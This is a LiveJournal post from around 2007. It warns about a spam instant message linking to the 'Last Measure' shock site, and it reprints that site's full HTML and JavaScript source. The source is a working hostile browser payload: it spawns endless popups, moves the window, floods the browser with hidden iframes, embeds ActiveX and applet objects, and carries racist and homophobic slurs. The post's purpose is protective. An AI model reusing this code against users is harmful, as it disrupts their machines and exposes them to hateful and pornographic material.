?

Log in

entries friends calendar profile Previous Previous Next Next
"your friends only posts have been stolen" - yeah, right. - IBNeko's Journal-Nyo~!
ibneko
ibneko
"your friends only posts have been stolen" - yeah, right.
1:13:33 AM shifeaschink: your friends only posts have been stolen: [see broken link below]
1:13:34 AM Ben (Autoreply): Huh, I'm missing something somewhere...
1:13:47 AM shifeaschink: Thanks for that BJ at school ;)


Broken link:
http://--MYLIVEJOURNALUSERNAME-- .on .nimp .org / ?u=bantown


Wary, I opened up firefox and opened it there. Rather... nasty. Definitely not worksafe. And announces loudly "I'm looking at gay porn" repeatedly, while moving the window away from you... Oh, and according to this post, it installs, or tries to install, a shitload of nasty crap. SO UNLESS YOU KNOW WHAT YOU'RE DOING, DO NOT RECONSTRUCT THE LINK AND CLICK IT.

Checking google for "your friends only posts have been stolen", I came across this post:
http://www.quitsmokingjournals.com/forum/display_topic_threads.asp?ReturnPage=Thread&ForumID=2866&TopicID=48356&PagePosition=1


If you are curious, here's a copy of the filtered (so I don't have tons of odd words I don't need) source code, snagged using wget:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
 <head>
    <title>GNAA Last Measure Live!</title>
    <meta name="keywords" content="">
    <script type="text/javascript">
      function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function ctrlkey() { if (event.keyCode == 17) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function delkey() { if (event.keyCode == 46) alert("LAST MEASURE BY PENISBIRD, Rolloffle, and Rucas.\nStarring:\nSpin\nTubgirl\nLemonparty\nBob Goatse\nPenisbird\nPillowfight\nChristmas\nRusty's Wife\nWhat the fuck? That guy's ass is showing in his baby's picture!\n\n\nTotal, complete, all-versions, popup blocker bashing-to-pieces by goat-see\nnhey.swf by rkz\nPROPS TO GNAA.  LOL HY -- DiKKy (GNAA NORWAY CORRESPONDANT)\nUpdated by sam, Jmax, JacksonBrown, Dessimat0r, timecop, and others.\n"); }

var nom = navigator.appName.toLowerCase();
var agt = navigator.userAgent.toLowerCase();
var is_major  = parseInt(navigator.appVersion);
var is_minor  = parseFloat(navigator.appVersion);
var is_ie     = (agt.indexOf("msie") != -1);
var is_ie4up  = (is_ie && (is_major >= 4));
var is_nav    = (nom.indexOf('netscape')!=-1);
var is_nav4   = (is_nav && (is_major == 4));
var is_mac    = (agt.indexOf("mac")!=-1);
var is_gecko  = (agt.indexOf('gecko') != -1);
//  GECKO REVISION
var is_rev = 0
if (is_gecko) {
    temp = agt.split("rv:")
    is_rev = parseFloat(temp[1])
}

function procreate() {
    for(i = 0; i < 16; i++) {
        popUp("index.php?popup=1");
    }
}

function popUp(URL) {
    day = new Date();
    id = day.getTime();
    eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');");
}
goatseflash  = '<div id="hello" style="z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;">';
goatseflash += '  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="100%" height="100%">';
goatseflash += '    <param name="movie" value="flash/hello.swf" />'
goatseflash += '    <param name="wmode" value="transparent" />';
goatseflash += '  </object>'
goatseflash += '</div>';
    
function load_goatse() {
  document.body.innerHTML += goatseflash;
  setTimeout("unload_goatse()", 3000); // 3s
}
 
function unload_goatse() {
  document.getElementById("hello").style.display = 'none';
}

var protos = [ 
        "lm.pdf",
        "jews.wmv",
        "irc://irc.gnaa.us/gnaa",
        "irc://irc.efnet.org/politics",
        "news:alt.flame.niggers",
        "news:alt.flame.faggots",
        "mailto:JOIN@THE.GNAA?subject=2006_RECRUITMENT_DRIVE&body=www.gnaa.us",
        "callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE",
        "aim:GoIM?screenname=Gary_Niger&message=HY+LOL+HY+LOL",
        "rlogin://1.1.1.1:80",
        "telnet://1.1.1.1:80",
        "aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,gnaa,2006,RECRUITMENT,DRIVE,heartiez2incog&groupname=gnaa",
        "mailto:JOIN@THE.GNAA?subject=2006_RECRUITMENT_DRIVE&body=www.gnaa.us",
        "ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/",
        ];
function add(str) {
  div = document.getElementById('goatse');
  div.innerHTML = '<iframe style="width: 1; height: 1;" src="' + str + '"></iframe>';
}
    
function ruin() {
  document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
  while (1) {
    for (i = 0; i < protos.length; i++) {
      add(protos[i]);
    }
  }
}
    </script>
    <link rel="icon" type="image/x-icon" href="favicon.ico" />
    <link rel="shortcut icon" type="image/x-icon" href="favicon.ico" />
    <style type="text/css">
      html {
        height: 100%;
	width: 100%;
        overflow: hidden;
      }
      body {
        height: 100%;
	width: 100%;
        margin: 0;
        padding: 0;
      }
    </style>
  </head>
<body style="background-image: url(images/penisbird.gif); background-color: #FFFFFF;" onload="load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);" onmousemove="document.goatse.reset();movew0w();procreate();" onkeydown="altf4key();ctrlkey();delkey();procreate();" onunload="document.goatse.reset();movew0w();procreate();" onmouseover="document.goatse.reset();movew0w();procreate();">
    <script type="text/javascript">
    <!--
    var images = new Array();
    var imagecount = 26;
    images[0] = 'images/penisbird.gif';
    images[1] = 'images/awesome.jpg';
    images[2] = 'images/hello.jpg';
    images[3] = 'images/hotblowjob.jpg';
    images[4] = 'images/zoidberg.jpg';
    images[5] = 'images/tubgirl.jpg';
    images[6] = 'images/harlequin1.jpg';
    images[7] = 'images/Pain2.jpg';
    images[8] = 'images/harlequin2.jpg';
    images[9] = 'images/Pain3.jpg';
    images[10] = 'images/harlequin3.jpg';
    images[11] = 'images/Pain4.jpg';
    images[12] = 'images/Pain5.jpg';
    images[13] = 'images/stretch.jpg';
    images[14] = 'images/stopracism.jpg';
    images[15] = 'images/rustina.jpg';
    images[16] = 'images/pooped.jpg';
    images[17] = 'images/Pain.jpg';
    images[18] = 'images/freak.jpg';
    images[19] = 'images/Untitled.jpg';
    images[20] = 'images/pillowfight.jpg';
    images[21] = 'images/loopback.jpg';
    images[22] = 'images/lemonparty.jpg';
    images[23] = 'images/christmas.jpg';
    images[24] = 'images/weightlifter.jpg';
    images[25] = 'images/spin.gif';

    var delay = 10;
    var step = .2;
    var curstep = 0;

    window.resizeTo(800, 600);
    var centerX = (self.screen.width - document.body.clientWidth) / 2;
    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
    movew0w();

    function movew0w() {
      var j;
      for (j = 0; j < 5; j++) {
        curstep += step / 5;
        var factorX = Math.sin(curstep * 6.1) * 0.9;
        var factorY = Math.cos(curstep * 3.7) * 0.9;

        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
                    * (Math.sin(10+curstep/(10+j))+0.2)
                    * Math.cos((curstep + j*25)/10);
        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
                    * (Math.sin(10+curstep/10)+0.2)
                    * Math.cos((curstep + j*25)/10);
        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
      }
      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
      setTimeout("movew0w()", delay);
    }
    // -->
  </script>
 <div>
  <lj-embed id="3">
<object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" height="1" width="1">
    <param name="ActivateApplets" value="1" />
    <param name="ActivateActiveXControls" value="1" />
  </object>
</lj-embed>
 </div>
  <table>
    <tr>
      <td valign="middle">
        <div style="text-align: center;">
          <a href="http://www.gnaa.us/"><img src="gnaa.png" alt="GNAA" /></a>
          <br />
          <br />
                    <lj-embed id="4">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0">
              <param name="movie" value="flash/first_opener.swf" />
              <param name="quality" value="high" />
            </object>
</lj-embed>
                  </div>
      </td>
    </tr>
  </table>
   <div>
  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
  <lj-embed id="5">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1" id="hey">
    <param name="movie" value="flash/hey.swf" />
    <param name="quality" value="high" />
  </object>
</lj-embed>
  <script type="text/javascript">
    <!--
    var audio = new Array();
    var audiocount = 16;
    audio[0] = 'audio/lolichan.wav';
    audio[1] = 'audio/eska.wav';
    audio[2] = 'audio/fury.wav';
    audio[3] = 'audio/popeye.wav';
    audio[4] = 'audio/kirk.wav';
    audio[5] = 'audio/abez2.wav';
    audio[6] = 'audio/original.wav';
    audio[7] = 'audio/rkz.wav';
    audio[8] = 'audio/blackman.wav';
    audio[9] = 'audio/jesuitx1.wav';
    audio[10] = 'audio/rucas.wav';
    audio[11] = 'audio/jesuitx2.wav';
    audio[12] = 'audio/jizzy.wav';
    audio[13] = 'audio/sam.wav';
    audio[14] = 'audio/abez.wav';
    audio[15] = 'audio/trogg.wav';
    for (i = 0; i < audiocount; i++) { 
      setTimeout('document.getElementById("audio").innerHTML += \'<embed src="' + audio[i] + '" loop="true" />\';', 6000 * (i/2));
    }
    // -->
  </script>
  <div id="audio"></div>
  <applet code="LastCoffee.class" width="100" height="100" codebase="/" />
</div>
   <div>
    <iframe style="width: 1px; height: 1px;" src="/index.php?steal=1&key=b88f5dadc609097d"></iframe>
    <iframe style="width: 1px; height: 1px;" src="lm.pdf"></iframe>
    <iframe style="width: 1px; height: 1px;" src="jews.wmv"></iframe>  
    <br />
   </div>
    <form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse">
    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
  </form>
</body>
</html>


Oh, this is interesting. Apparently it throws you into a chatroom with tons of other people?
16 happy kittens | Leave catnip
Comments
From: (Anonymous) Date: December 25th, 2007 06:36 pm (UTC) (Link)

wow you got last measured

do you want a cookie? keep on blogging about it
jeffholton From: jeffholton Date: December 29th, 2007 07:39 am (UTC) (Link)
Oh for the love of God I clicked on it before checking to see what it was.

Someone shot me. I can't get my other system to respond to me yet. Ugh.
miana_dude From: miana_dude Date: January 2nd, 2008 05:41 am (UTC) (Link)
Thank you for posting this. I just got the same IM from plasticbrains. I googled "your friends only posts have been stolen" and it brought me here. Thanks for the heads-up about it. :D

~Rachel
dis_c0nnected From: dis_c0nnected Date: January 16th, 2008 07:56 am (UTC) (Link)
Thanks for posting this!!! Saved me a lot of trouble. Jenkem Fume sent me the same thing so I googled and got your lj!
slimynolegs From: slimynolegs Date: January 17th, 2008 03:02 am (UTC) (Link)
Yeah, I just got the same message from BabyRap1st.
Is anything lost? Is it a virus?.. The hacking of LJs does not sound good at all.
ibneko From: ibneko Date: January 17th, 2008 03:36 am (UTC) (Link)
Nah, no hacking. Just a scare tactic. :P
slimynolegs From: slimynolegs Date: January 17th, 2008 08:09 am (UTC) (Link)
It's incredibly scary!!! :(
ktcaop From: ktcaop Date: January 29th, 2008 06:32 am (UTC) (Link)
My question though, how is it transmitted? I know like for MSN, you click on a link, and it starts sending out to your friends IMs. Are these real people sending the link? Bots? What's going on there?
ibneko From: ibneko Date: January 29th, 2008 06:52 am (UTC) (Link)
Nope, a bot that's sending out these links. No idea what the stuff they download onto your system does though.
ktcaop From: ktcaop Date: January 29th, 2008 07:04 am (UTC) (Link)
But then how is it transmitted. I imed the "bot" later on it sent me a message back? Like, really, how does it transmit? and how does it get the screen names.
ibneko From: ibneko Date: January 29th, 2008 07:38 am (UTC) (Link)
The bot rebroadcasts any messages it receives to anyone else it happens to be talking to at the time.

Screennames are acquired using the same way the livejournal hat bot acquires them - livejournal has a running stream of public posts - from there, it'll catch your username. With your username, it can check and see if you have a AIM sn listed. If so, it'll message that AIM sn with it's initial preprogrammed message. Anything after that is typically someone else trying to reply to the bot.
marcia From: marcia Date: January 19th, 2008 04:58 am (UTC) (Link)
i got this and did NOT click on the link...then suddenly all these people started harassing me saying i sent it to them!! AHHHH! i dont know what to do!
durr_its_dylan From: durr_its_dylan Date: January 19th, 2008 06:54 am (UTC) (Link)
Google brought me here, thanks for telling about it - I was too scared to click!
1lovelamp From: 1lovelamp Date: January 23rd, 2008 12:02 am (UTC) (Link)
Ditto...googled and found you. Thanks man. This was the 3rd I'm in the past 2 weeks so I was wondering what the deal was.
From: apocalypticdawn Date: January 23rd, 2008 11:55 pm (UTC) (Link)
Googled it too and got your journal. This is just annoying.
From: (Anonymous) Date: October 8th, 2008 04:18 pm (UTC) (Link)

Hello.. Let's get acquainted...

Hi!
My name is Jessika!
16 happy kittens | Leave catnip